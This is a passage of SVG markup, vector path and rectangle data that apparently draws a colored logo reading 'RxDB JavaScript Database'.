432.22160 195.18600L432.22160 195.18600Q439.39800 197.14320 443.26580 199.89260Q447.13360 202.64200 448.62480 206.18360Q450.11600 209.72520 450.11600 214.75800L450.11600 214.75800Q450.11600 223.14600 443.63860 228.03900Q437.16120 232.93200 424.57920 232.93200L424.57920 232.93200Z" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></path><path d="M479.38080 232.93200Q467.07840 232.93200 460.22820 227.10700Q453.37800 221.28200 453.37800 209.91160L453.37800 209.91160Q453.37800 198.54120 460.36800 192.71620Q467.35800 186.89120 479.47400 186.89120L479.47400 186.89120Q484.50680 186.89120 488.37460 187.59020Q492.24240 188.28920 495.78400 189.96680L495.78400 189.96680L495.78400 202.26920Q490.28520 199.65960 483.29520 199.65960L483.29520 199.65960Q477.14400 199.65960 474.20820 201.98960Q471.27240 204.31960 471.27240 209.91160L471.27240 209.91160Q471.27240 215.31720 474.16160 217.74040Q477.05080 220.16360 483.29520 220.16360L483.29520 220.16360Q489.91240 220.16360 495.87720 217.08800L495.87720 217.08800L495.87720 229.94960Q489.26000 232.93200 479.38080 232.93200L479.38080 232.93200Z" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></path><path d="M502.40120 232L502.40120 187.82320L519.27040 187.82320L519.73640 191.36480Q522.62560 189.68720 526.77300 188.42900Q530.92040 187.17080 535.11440 186.89120L535.11440 186.89120L535.11440 199.93920Q531.20000 200.21880 526.81960 201.15080Q522.43920 202.08280 519.92280 203.29440L519.92280 203.29440L519.92280 232L502.40120 232Z" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></path><path d="M544.80720 181.95160L544.80720 169.27640L563.72680 169.27640L563.72680 181.95160L544.80720 181.95160ZM546.20520 232L546.20520 200.59160L539.77440 200.59160L541.26560 187.82320L563.72680 187.82320L563.72680 232L546.20520 232Z" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></path><path d="M572.11480 252.13120L572.11480 187.82320L587.30640 187.82320L588.14520 191.36480Q590.94120 189.12800 594.15660 188.00960Q597.37200 186.89120 601.56600 186.89120L601.56600 186.89120Q611.72480 186.89120 616.94400 192.06380Q622.16320 197.23640 622.16320 208.79320L622.16320 208.79320Q622.16320 220.53640 616.52460 226.73420Q610.88600 232.93200 600.82040 232.93200L600.82040 232.93200Q597.65160 232.93200 594.71580 232.27960Q591.78000 231.62720 589.63640 230.41560L589.63640 230.41560L589.63640 252.13120L572.11480 252.13120ZM596.34680 220.16360Q604.26880 220.16360 604.26880 209.07280L604.26880 209.07280Q604.26880 203.76040 602.45140 201.71000Q600.63400 199.65960 596.53320 199.65960L596.53320 199.65960Q594.48280 199.65960 592.85180 200.31200Q591.22080 200.96440 589.63640 202.26920L589.63640 202.26920L589.63640 217.92680Q591.22080 219.13840 592.71200 219.65100Q594.20320 220.16360 596.34680 220.16360L596.34680 220.16360Z" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></path><path d="M644.34480 232.93200Q635.67720 232.93200 631.57640 228.59820Q627.47560 224.26440 627.47560 216.34240L627.47560 216.34240L627.47560 200.77800L621.69720 200.77800L621.69720 187.82320L627.47560 187.82320L627.47560 178.78280L644.99720 174.58880L644.99720 187.82320L655.15600 187.82320L654.50360 200.77800L644.99720 200.77800L644.99720 215.03760Q644.99720 217.83360 646.34860 218.99860Q647.70000 220.16360 650.68240 220.16360L650.68240 220.16360Q653.38520 220.16360 656.18120 219.23160L656.18120 219.23160L656.18120 230.88160Q651.24160 232.93200 644.34480 232.93200L644.34480 232.93200Z" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></path><path d="M209.19400 306L209.19400 245.97920L236.03560 245.97920Q250.38840 245.97920 257.79780 253.20220Q265.20720 260.42520 265.20720 276.36240L265.20720 276.36240Q265.20720 291.55400 257.79780 298.77700Q250.38840 306 236.03560 306L236.03560 306L209.19400 306ZM226.71560 292.57920L233.79880 292.57920Q238.45880 292.57920 241.34800 291.22780Q244.23720 289.87640 245.77500 286.38140Q247.31280 282.88640 247.31280 276.36240L247.31280 276.36240Q247.31280 269.74520 245.91480 266.06380Q244.51680 262.38240 241.58100 260.89120Q238.64520 259.40000 233.79880 259.40000L233.79880 259.40000L226.71560 259.40000L226.71560 292.57920Z" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></path><path d="M282.72880 306.93200Q275.92520 306.93200 271.49820 303.34380Q267.07120 299.75560 267.07120 292.76560L267.07120 292.76560Q267.07120 285.68240 271.77780 281.86120Q276.48440 278.04000 285.80440 278.04000L285.80440 278.04000L297.26800 278.04000L297.26800 277.20120Q297.26800 274.59160 295.07780 273.38000Q292.88760 272.16840 287.57520 272.16840L287.57520 272.16840Q279.93280 272.16840 272.47680 274.49840L272.47680 274.49840L272.47680 263.96680Q275.92520 262.56880 280.95800 261.73000Q285.99080 260.89120 291.11680 260.89120L291.11680 260.89120Q301.92800 260.89120 307.93940 265.31820Q313.95080 269.74520 313.95080 278.78560L313.95080 278.78560L313.95080 306L298.66600 306L297.82720 302.45840Q292.79440 306.93200 282.72880 306.93200L282.72880 306.93200ZM288.69360 296.68000Q294.00600 296.68000 297.26800 293.13840L297.26800 293.13840L297.26800 287.63960L288.78680 287.63960Q285.80440 287.63960 284.40640 288.75800Q283.00840 289.87640 283.00840 292.20640L283.00840 292.20640Q283.00840 296.68000 288.69360 296.68000L288.69360 296.68000Z" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></path><path d="M340.79240 306.93200Q332.12480 306.93200 328.02400 302.59820Q323.92320 298.26440 323.92320 290.34240L323.92320 290.34240L323.92320 274.77800L318.14480 274.77800L318.14480 261.82320L323.92320 261.82320L323.92320 252.78280L341.44480 248.58880L341.44480 261.82320L351.60360 261.82320L350.95120 274.77800L341.44480 274.77800L341.44480 289.03760Q341.44480 291.83360 342.79620 292.99860Q344.14760 294.16360 347.13000 294.16360L347.13000 294.16360Q349.83280 294.16360 352.62880 293.23160L352.62880 293.23160L352.62880 304.88160Q347.68920 306.93200 340.79240 306.93200L340.79240 306.93200Z" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></path><path d="M367.82040 306.93200Q361.01680 306.93200 356.58980 303.34380Q352.16280 299.75560 352.16280 292.76560L352.16280 292.76560Q352.16280 285.68240 356.86940 281.86120Q361.57600 278.04000 370.89600 278.04000L370.89600 278.04000L382.35960 278.04000L382.35960 277.20120Q382.35960 274.59160 380.16940 273.38000Q377.97920 272.16840 372.66680 272.16840L372.66680 272.16840Q365.02440 272.16840 357.56840 274.49840L357.56840 274.49840L357.56840 263.96680Q361.01680 262.56880 366.04960 261.73000Q371.08240 260.89120 376.20840 260.89120L376.20840 260.89120Q387.01960 260.89120 393.03100 265.31820Q399.04240 269.74520 399.04240 278.78560L399.04240 278.78560L399.04240 306L383.75760 306L382.91880 302.45840Q377.88600 306.93200 367.82040 306.93200L367.82040 306.93200ZM373.78520 296.68000Q379.09760 296.68000 382.35960 293.13840L382.35960 293.13840L382.35960 287.63960L373.87840 287.63960Q370.89600 287.63960 369.49800 288.75800Q368.10000 289.87640 368.10000 292.20640L368.10000 292.20640Q368.10000 296.68000 373.78520 296.68000L373.78520 296.68000Z" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></path><path d="M436.41560 306.93200Q432.22160 306.93200 429.00620 305.81360Q425.79080 304.69520 422.99480 302.55160L422.99480 302.55160L422.15600 306L406.96440 306L406.96440 243.18320L424.48600 243.18320L424.48600 263.40760Q426.72280 262.19600 429.75180 261.54360Q432.78080 260.89120 435.85640 260.89120L435.85640 260.89120Q457.01280 260.89120 457.01280 283.53880L457.01280 283.53880Q457.01280 295.09560 451.51400 301.01380Q446.01520 306.93200 436.41560 306.93200L436.41560 306.93200ZM431.38280 294.25680Q435.48360 294.25680 437.30100 291.78700Q439.11840 289.31720 439.11840 283.72520L439.11840 283.72520Q439.11840 278.22640 437.25440 275.89640Q435.39040 273.56640 431.38280 273.56640L431.38280 273.56640Q427.09560 273.56640 424.48600 275.89640L424.48600 275.89640L424.48600 291.55400Q427.37520 294.25680 431.38280 294.25680L431.38280 294.25680Z" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></path><path d="M475.00040 306.93200Q468.19680 306.93200 463.76980 303.34380Q459.34280 299.75560 459.34280 292.76560L459.34280 292.76560Q459.34280 285.68240 464.04940 281.86120Q468.75600 278.04000 478.07600 278.04000L478.07600 278.04000L489.53960 278.04000L489.53960 277.20120Q489.53960 274.59160 487.34940 273.38000Q485.15920 272.16840 479.84680 272.16840L479.84680 272.16840Q472.20440 272.16840 464.74840 274.49840L464.74840 274.49840L464.74840 263.96680Q468.19680 262.56880 473.22960 261.73000Q478.26240 260.89120 483.38840 260.89120L483.38840 260.89120Q494.19960 260.89120 500.21100 265.31820Q506.22240 269.74520 506.22240 278.78560L506.22240 278.78560L506.22240 306L490.93760 306L490.09880 302.45840Q485.06600 306.93200 475.00040 306.93200L475.00040 306.93200ZM480.96520 296.68000Q486.27760 296.68000 489.53960 293.13840L489.53960 293.13840L489.53960 287.63960L481.05840 287.63960Q478.07600 287.63960 476.67800 288.75800Q475.28000 289.87640 475.28000 292.20640L475.28000 292.20640Q475.28000 296.68000 480.96520 296.68000L480.96520 296.68000Z" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></path><path d="M531.38640 306.93200Q525.88760 306.93200 520.85480 306.13980Q515.82200 305.34760 512.83960 304.13600L512.83960 304.13600L512.83960 291.55400Q515.91520 293.04520 520.38880 293.88400Q524.86240 294.72280 528.31080 294.72280L528.31080 294.72280Q532.41160 294.72280 533.76300 294.48980Q535.11440 294.25680 535.11440 292.95200L535.11440 292.95200Q535.11440 291.83360 533.66980 291.18120Q532.22520 290.52880 528.96320 289.59680L528.96320 289.59680L524.30320 288.10560Q517.87240 285.77560 515.07640 282.88640Q512.28040 279.99720 512.28040 274.68480L512.28040 274.68480Q512.28040 260.89120 533.90280 260.89120L533.90280 260.89120Q538.00360 260.89120 542.57040 261.54360Q547.13720 262.19600 549.93320 263.03480L549.93320 263.03480L549.93320 275.33720Q547.23040 274.21880 543.92180 273.61300Q540.61320 273.00720 537.81720 273.00720L537.81720 273.00720Q533.99600 273.00720 532.08540 273.33340Q530.17480 273.65960 530.17480 274.87120L530.17480 274.87120Q530.17480 275.89640 531.43300 276.45560Q532.69120 277.01480 535.86000 277.85360L535.86000 277.85360L539.96080 279.06520Q544.99360 280.55640 547.83620 282.32720Q550.67880 284.09800 551.84380 286.56780Q553.00880 289.03760 553.00880 292.85880L553.00880 292.85880Q553.00880 299.66240 547.51000 303.29720Q542.01120 306.93200 531.38640 306.93200L531.38640 306.93200Z" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></path><path d="M581.52800 306.93200Q569.59840 306.93200 562.46860 301.01380Q555.33880 295.09560 555.33880 284.00480L555.33880 284.00480Q555.33880 273.19360 561.39680 267.04240Q567.45480 260.89120 579.10480 260.89120L579.10480 260.89120Q589.82280 260.89120 595.97400 266.39000Q602.12520 271.88880 602.12520 281.39520L602.12520 281.39520L602.12520 289.13080L571.46240 289.13080Q572.58080 292.57920 576.07580 294.11700Q579.57080 295.65480 585.81520 295.65480L585.81520 295.65480Q589.54320 295.65480 593.41100 295.00240Q597.27880 294.35000 599.70200 293.32480L599.70200 293.32480L599.70200 303.85640Q593.17800 306.93200 581.52800 306.93200L581.52800 306.93200ZM571.46240 279.62440L587.02680 279.62440L587.02680 278.04000Q587.02680 272.07520 579.66400 272.07520L579.66400 272.07520Q575.28360 272.07520 573.37300 273.93920Q571.46240 275.80320 571.46240 279.62440L571.46240 279.62440Z" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></path></g><g id="normal-group"><rect x="0" y="98" width="190" height="60" shape-rendering="crispEdges" style="fill: rgb(230, 0, 141);"></rect><rect x="28" y="56" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(230, 0, 141);"></rect><rect x="0" y="70" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(230, 0, 141);"></rect><rect x="28" y="70" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(230, 0, 141);"></rect><rect x="42" y="70" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(230, 0, 141);"></rect><rect x="70" y="70" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(230, 0, 141);"></rect><rect x="0" y="84" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(230, 0, 141);"></rect><rect x="14" y="84" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(230, 0, 141);"></rect><rect x="28" y="84" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(230, 0, 141);"></rect><rect x="42" y="84" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(230, 0, 141);"></rect><rect x="70" y="84" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(230, 0, 141);"></rect><rect x="98" y="84" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(230, 0, 141);"></rect><rect x="0" y="172" width="190" height="60" shape-rendering="crispEdges" style="fill: rgb(141, 32, 137);"></rect><rect x="0" y="246" width="190" height="60" shape-rendering="crispEdges" style="fill: rgb(95, 38, 136);"></rect><rect x="148" y="334" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(95, 38, 136);"></rect><rect x="176" y="320" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(95, 38, 136);"></rect><rect x="148" y="320" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(95, 38, 136);"></rect><rect x="134" y="320" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(95, 38, 136);"></rect><rect x="106" y="320" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(95, 38, 136);"></rect><rect x="176" y="306" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(95, 38, 136);"></rect><rect x="162" y="306" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(95, 38, 136);"></rect><rect x="148" y="306" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(95, 38, 136);"></rect><rect x="134" y="306" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(95, 38, 136);"></rect><rect x="106" y="306" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(95, 38, 136);"></rect><rect x="78" y="306" width="14" height="14" shape-rendering="crispEdges" style="fill: rgb(95, 38, 136);"></rect><path d="M209.19400 158L209.19400 97.97920L240.41600 97.97920Q251.04080 97.97920 256.44640 103.75760Q261.85200 109.53600 261.85200 119.32200L261.85200 119.32200Q261.85200 125.28680 258.86960 129.90020Q255.88720 134.51360 250.76120 137.03000L250.76120 137.03000Q251.78640 137.86880 252.53200 138.98720Q253.27760 140.10560 254.20960 142.24920L254.20960 142.24920L261.10640 158L242.83920 158L236.50160 143.55400Q235.75600 141.87640 234.68420 141.17740Q233.61240 140.47840 231.65520 140.47840L231.65520 140.47840L226.71560 140.47840L226.71560 158L209.19400 158ZM226.71560 127.05760L235.94240 127.05760Q239.76360 127.05760 241.86060 125.05380Q243.95760 123.05000 243.95760 119.32200L243.95760 119.32200Q243.95760 111.40000 236.50160 111.40000L236.50160 111.40000L226.71560 111.40000L226.71560 127.05760Z" shape-rendering="geometricPrecision" style="fill: rgb(230, 0, 141);"></path><path d="M262.31800 158L279.37360 135.53880L262.97040 113.82320L281.98320 113.82320L288.88000 123.14320L295.87000 113.82320L314.78960 113.82320L298.47960 135.53880L315.53520 158L296.33600 158L288.88000 148.12080L281.42400 158L262.31800 158Z" shape-rendering="geometricPrecision" style="fill: rgb(230, 0, 141);"></path><path d="M317.86520 158L317.86520 97.97920L344.70680 97.97920Q359.05960 97.97920 366.46900 105.20220Q373.87840 112.42520 373.87840 128.36240L373.87840 128.36240Q373.87840 143.55400 366.46900 150.77700Q359.05960 158 344.70680 158L344.70680 158L317.86520 158ZM335.38680 144.57920L342.47000 144.57920Q347.13000 144.57920 350.01920 143.22780Q352.90840 141.87640 354.44620 138.38140Q355.98400 134.88640 355.98400 128.36240L355.98400 128.36240Q355.98400 121.74520 354.58600 118.06380Q353.18800 114.38240 350.25220 112.89120Q347.31640 111.40000 342.47000 111.40000L342.47000 111.40000L335.38680 111.40000L335.38680 144.57920Z" shape-rendering="geometricPrecision" style="fill: rgb(230, 0, 141);"></path><path d="M380.40240 158L380.40240 97.97920L413.39520 97.97920Q422.43560 97.97920 427.23540 102.26640Q432.03520 106.55360 432.03520 114.56880L432.03520 114.56880Q432.03520 119.04240 430.35760 122.30440Q428.68000 125.56640 425.79080 127.43040L425.79080 127.43040Q429.98480 129.10800 432.08180 131.99720Q434.17880 134.88640 434.17880 140.19880L434.17880 140.19880Q434.17880 148.68000 428.95960 153.34000Q423.74040 158 414.14080 158L414.14080 158L380.40240 158ZM397.27160 121.93160L408.64200 121.93160Q415.07280 121.93160 415.07280 116.15320L415.07280 116.15320Q415.07280 113.17080 413.44180 111.72620Q411.81080 110.28160 408.17600 110.28160L408.17600 110.28160L397.27160 110.28160L397.27160 121.93160ZM397.27160 145.79080L409.38760 145.79080Q412.92920 145.79080 414.60680 144.29960Q416.28440 142.80840 416.28440 139.36000L416.28440 139.36000Q416.28440 136.37760 414.56020 134.93300Q412.83600 133.48840 409.01480 133.48840L409.01480 133.48840L397.27160 133.48840L397.27160 145.79080Z" shape-rendering="geometricPrecision" style="fill: rgb(230, 0, 141);"></path><path d="M219.72560 232.93200Q211.61720 232.93200 205.46600 230.78840L205.46600 230.78840L205.46600 216.24920Q210.03280 218.11320 216.09080 218.11320L216.09080 218.11320Q221.12360 218.11320 223.26720 216.06280Q225.41080 214.01240 225.41080 209.25920L225.41080 209.25920L225.41080 171.97920L242.93240 171.97920L242.93240 212.05520Q242.93240 221.93440 236.92100 227.43320Q230.90960 232.93200 219.72560 232.93200L219.72560 232.93200Z" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></path><path d="M264.64800 232.93200Q257.84440 232.93200 253.41740 229.34380Q248.99040 225.75560 248.99040 218.76560L248.99040 218.76560Q248.99040 211.68240 253.69700 207.86120Q258.40360 204.04000 267.72360 204.04000L267.72360 204.04000L279.18720 204.04000L279.18720 203.20120Q279.18720 200.59160 276.99700 199.38000Q274.80680 198.16840 269.49440 198.16840L269.49440 198.16840Q261.85200 198.16840 254.39600 200.49840L254.39600 200.49840L254.39600 189.96680Q257.84440 188.56880 262.87720 187.73000Q267.91000 186.89120 273.03600 186.89120L273.03600 186.89120Q283.84720 186.89120 289.85860 191.31820Q295.87000 195.74520 295.87000 204.78560L295.87000 204.78560L295.87000 232L280.58520 232L279.74640 228.45840Q274.71360 232.93200 264.64800 232.93200L264.64800 232.93200ZM270.61280 222.68000Q275.92520 222.68000 279.18720 219.13840L279.18720 219.13840L279.18720 213.63960L270.70600 213.63960Q267.72360 213.63960 266.32560 214.75800Q264.92760 215.87640 264.92760 218.20640L264.92760 218.20640Q264.92760 222.68000 270.61280 222.68000L270.61280 222.68000Z" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></path><path d="M315.16240 232L297.73400 187.82320L316.00120 187.82320L324.38920 213.73280L332.77720 187.82320L351.04440 187.82320L333.61600 232L315.16240 232Z" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></path><path d="M365.77000 232.93200Q358.96640 232.93200 354.53940 229.34380Q350.11240 225.75560 350.11240 218.76560L350.11240 218.76560Q350.11240 211.68240 354.81900 207.86120Q359.52560 204.04000 368.84560 204.04000L368.84560 204.04000L380.30920 204.04000L380.30920 203.20120Q380.30920 200.59160 378.11900 199.38000Q375.92880 198.16840 370.61640 198.16840L370.61640 198.16840Q362.97400 198.16840 355.51800 200.49840L355.51800 200.49840L355.51800 189.96680Q358.96640 188.56880 363.99920 187.73000Q369.03200 186.89120 374.15800 186.89120L374.15800 186.89120Q384.96920 186.89120 390.98060 191.31820Q396.99200 195.74520 396.99200 204.78560L396.99200 204.78560L396.99200 232L381.70720 232L380.86840 228.45840Q375.83560 232.93200 365.77000 232.93200L365.77000 232.93200ZM371.73480 222.68000Q377.04720 222.68000 380.30920 219.13840L380.30920 219.13840L380.30920 213.63960L371.82800 213.63960Q368.84560 213.63960 367.44760 214.75800Q366.04960 215.87640 366.04960 218.20640L366.04960 218.20640Q366.04960 222.68000 371.73480 222.68000L371.73480 222.68000Z" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></path><path d="M424.57920 232.93200Q418.42800 232.93200 413.02240 231.95340Q407.61680 230.97480 403.88880 229.20400L403.88880 229.20400L403.88880 214.75800Q408.17600 216.71520 413.30200 217.92680Q418.42800 219.13840 422.80840 219.13840L422.80840 219.13840Q427.84120 219.13840 430.03140 218.25300Q432.22160 217.36760 432.22160 214.75800L432.22160 214.75800Q432.22160 213.08040 431.14980 212.00860Q430.07800 210.93680 428.02760 210.14460Q425.97720 209.35240 421.50360 207.95440L421.50360 207.95440Q420.01240 207.58160 419.26680 207.30200L419.26680 207.30200Q413.11560 205.34480 409.62060 203.01480Q406.12560 200.68480 404.58780 197.37620Q403.05000 194.06760 403.05000 189.12800L403.05000 189.12800Q403.05000 180.27400 409.38760 175.66060Q415.72520 171.04720 428.02760 171.04720L428.02760 171.04720Q432.78080 171.04720 438.04660 171.83940Q443.31240 172.63160 446.76080 173.75000L446.76080 173.75000L446.76080 188.28920Q438.55920 185.02720 430.82360 185.02720L430.82360 185.02720Q425.88400 185.02720 423.41420 185.77280Q420.94440 186.51840 420.94440 189.03480L420.94440 189.03480Q420.94440 190.61920 421.96960 191.55120Q422.99480 192.48320 425.09180 193.18220Q427.18880 193.88120 432.22160 195.18600L432.22160 195.18600Q439.39800 197.14320 443.26580 199.89260Q447.13360 202.64200 448.62480 206.18360Q450.11600 209.72520 450.11600 214.75800L450.11600 214.75800Q450.11600 223.14600 443.63860 228.03900Q437.16120 232.93200 424.57920 232.93200L424.57920 232.93200Z" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></path><path d="M479.38080 232.93200Q467.07840 232.93200 460.22820 227.10700Q453.37800 221.28200 453.37800 209.91160L453.37800 209.91160Q453.37800 198.54120 460.36800 192.71620Q467.35800 186.89120 479.47400 186.89120L479.47400 186.89120Q484.50680 186.89120 488.37460 187.59020Q492.24240 188.28920 495.78400 189.96680L495.78400 189.96680L495.78400 202.26920Q490.28520 199.65960 483.29520 199.65960L483.29520 199.65960Q477.14400 199.65960 474.20820 201.98960Q471.27240 204.31960 471.27240 209.91160L471.27240 209.91160Q471.27240 215.31720 474.16160 217.74040Q477.05080 220.16360 483.29520 220.16360L483.29520 220.16360Q489.91240 220.16360 495.87720 217.08800L495.87720 217.08800L495.87720 229.94960Q489.26000 232.93200 479.38080 232.93200L479.38080 232.93200Z" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></path><path d="M502.40120 232L502.40120 187.82320L519.27040 187.82320L519.73640 191.36480Q522.62560 189.68720 526.77300 188.42900Q530.92040 187.17080 535.11440 186.89120L535.11440 186.89120L535.11440 199.93920Q531.20000 200.21880 526.81960 201.15080Q522.43920 202.08280 519.92280 203.29440L519.92280 203.29440L519.92280 232L502.40120 232Z" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></path><path d="M544.80720 181.95160L544.80720 169.27640L563.72680 169.27640L563.72680 181.95160L544.80720 181.95160ZM546.20520 232L546.20520 200.59160L539.77440 200.59160L541.26560 187.82320L563.72680 187.82320L563.72680 232L546.20520 232Z" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></path><path d="M572.11480 252.13120L572.11480 187.82320L587.30640 187.82320L588.14520 191.36480Q590.94120 189.12800 594.15660 188.00960Q597.37200 186.89120 601.56600 186.89120L601.56600 186.89120Q611.72480 186.89120 616.94400 192.06380Q622.16320 197.23640 622.16320 208.79320L622.16320 208.79320Q622.16320 220.53640 616.52460 226.73420Q610.88600 232.93200 600.82040 232.93200L600.82040 232.93200Q597.65160 232.93200 594.71580 232.27960Q591.78000 231.62720 589.63640 230.41560L589.63640 230.41560L589.63640 252.13120L572.11480 252.13120ZM596.34680 220.16360Q604.26880 220.16360 604.26880 209.07280L604.26880 209.07280Q604.26880 203.76040 602.45140 201.71000Q600.63400 199.65960 596.53320 199.65960L596.53320 199.65960Q594.48280 199.65960 592.85180 200.31200Q591.22080 200.96440 589.63640 202.26920L589.63640 202.26920L589.63640 217.92680Q591.22080 219.13840 592.71200 219.65100Q594.20320 220.16360 596.34680 220.16360L596.34680 220.16360Z" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></path><path d="M644.34480 232.93200Q635.67720 232.93200 631.57640 228.59820Q627.47560 224.26440 627.47560 216.34240L627.47560 216.34240L627.47560 200.77800L621.69720 200.77800L621.69720 187.82320L627.47560 187.82320L627.47560 178.78280L644.99720 174.58880L644.99720 187.82320L655.15600 187.82320L654.50360 200.77800L644.99720 200.77800L644.99720 215.03760Q644.99720 217.83360 646.34860 218.99860Q647.70000 220.16360 650.68240 220.16360L650.68240 220.16360Q653.38520 220.16360 656.18120 219.23160L656.18120 219.23160L656.18120 230.88160Q651.24160 232.93200 644.34480 232.93200L644.34480 232.93200Z" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></path><path d="M209.19400 306L209.19400 245.97920L236.03560 245.97920Q250.38840 245.97920 257.79780 253.20220Q265.20720 260.42520 265.20720 276.36240L265.20720 276.36240Q265.20720 291.55400 257.79780 298.77700Q250.38840 306 236.03560 306L236.03560 306L209.19400 306ZM226.71560 292.57920L233.79880 292.57920Q238.45880 292.57920 241.34800 291.22780Q244.23720 289.87640 245.77500 286.38140Q247.31280 282.88640 247.31280 276.36240L247.31280 276.36240Q247.31280 269.74520 245.91480 266.06380Q244.51680 262.38240 241.58100 260.89120Q238.64520 259.40000 233.79880 259.40000L233.79880 259.40000L226.71560 259.40000L226.71560 292.57920Z" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></path><path d="M282.72880 306.93200Q275.92520 306.93200 271.49820 303.34380Q267.07120 299.75560 267.07120 292.76560L267.07120 292.76560Q267.07120 285.68240 271.77780 281.86120Q276.48440 278.04000 285.80440 278.04000L285.80440 278.04000L297.26800 278.04000L297.26800 277.20120Q297.26800 274.59160 295.07780 273.38000Q292.88760 272.16840 287.57520 272.16840L287.57520 272.16840Q279.93280 272.16840 272.47680 274.49840L272.47680 274.49840L272.47680 263.96680Q275.92520 262.56880 280.95800 261.73000Q285.99080 260.89120 291.11680 260.89120L291.11680 260.89120Q301.92800 260.89120 307.93940 265.31820Q313.95080 269.74520 313.95080 278.78560L313.95080 278.78560L313.95080 306L298.66600 306L297.82720 302.45840Q292.79440 306.93200 282.72880 306.93200L282.72880 306.93200ZM288.69360 296.68000Q294.00600 296.68000 297.26800 293.13840L297.26800 293.13840L297.26800 287.63960L288.78680 287.63960Q285.80440 287.63960 284.40640 288.75800Q283.00840 289.87640 283.00840 292.20640L283.00840 292.20640Q283.00840 296.68000 288.69360 296.68000L288.69360 296.68000Z" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></path><path d="M340.79240 306.93200Q332.12480 306.93200 328.02400 302.59820Q323.92320 298.26440 323.92320 290.34240L323.92320 290.34240L323.92320 274.77800L318.14480 274.77800L318.14480 261.82320L323.92320 261.82320L323.92320 252.78280L341.44480 248.58880L341.44480 261.82320L351.60360 261.82320L350.95120 274.77800L341.44480 274.77800L341.44480 289.03760Q341.44480 291.83360 342.79620 292.99860Q344.14760 294.16360 347.13000 294.16360L347.13000 294.16360Q349.83280 294.16360 352.62880 293.23160L352.62880 293.23160L352.62880 304.88160Q347.68920 306.93200 340.79240 306.93200L340.79240 306.93200Z" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></path><path d="M367.82040 306.93200Q361.01680 306.93200 356.58980 303.34380Q352.16280 299.75560 352.16280 292.76560L352.16280 292.76560Q352.16280 285.68240 356.86940 281.86120Q361.57600 278.04000 370.89600 278.04000L370.89600 278.04000L382.35960 278.04000L382.35960 277.20120Q382.35960 274.59160 380.16940 273.38000Q377.97920 272.16840 372.66680 272.16840L372.66680 272.16840Q365.02440 272.16840 357.56840 274.49840L357.56840 274.49840L357.56840 263.96680Q361.01680 262.56880 366.04960 261.73000Q371.08240 260.89120 376.20840 260.89120L376.20840 260.89120Q387.01960 260.89120 393.03100 265.31820Q399.04240 269.74520 399.04240 278.78560L399.04240 278.78560L399.04240 306L383.75760 306L382.91880 302.45840Q377.88600 306.93200 367.82040 306.93200L367.82040 306.93200ZM373.78520 296.68000Q379.09760 296.68000 382.35960 293.13840L382.35960 293.13840L382.35960 287.63960L373.87840 287.63960Q370.89600 287.63960 369.49800 288.75800Q368.10000 289.87640 368.10000 292.20640L368.10000 292.20640Q368.10000 296.68000 373.78520 296.68000L373.78520 296.68000Z" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></path><path d="M436.41560 306.93200Q432.22160 306.93200 429.00620 305.81360Q425.79080 304.69520 422.99480 302.55160L422.99480 302.55160L422.15600 306L406.96440 306L406.96440 243.18320L424.48600 243.18320L424.48600 263.40760Q426.72280 262.19600 429.75180 261.54360Q432.78080 260.89120 435.85640 260.89120L435.85640 260.89120Q457.01280 260.89120 457.01280 283.53880L457.01280 283.53880Q457.01280 295.09560 451.51400 301.01380Q446.01520 306.93200 436.41560 306.93200L436.41560 306.93200ZM431.38280 294.25680Q435.48360 294.25680 437.30100 291.78700Q439.11840 289.31720 439.11840 283.72520L439.11840 283.72520Q439.11840 278.22640 437.25440 275.89640Q435.39040 273.56640 431.38280 273.56640L431.38280 273.56640Q427.09560 273.56640 424.48600 275.89640L424.48600 275.89640L424.48600 291.55400Q427.37520 294.25680 431.38280 294.25680L431.38280 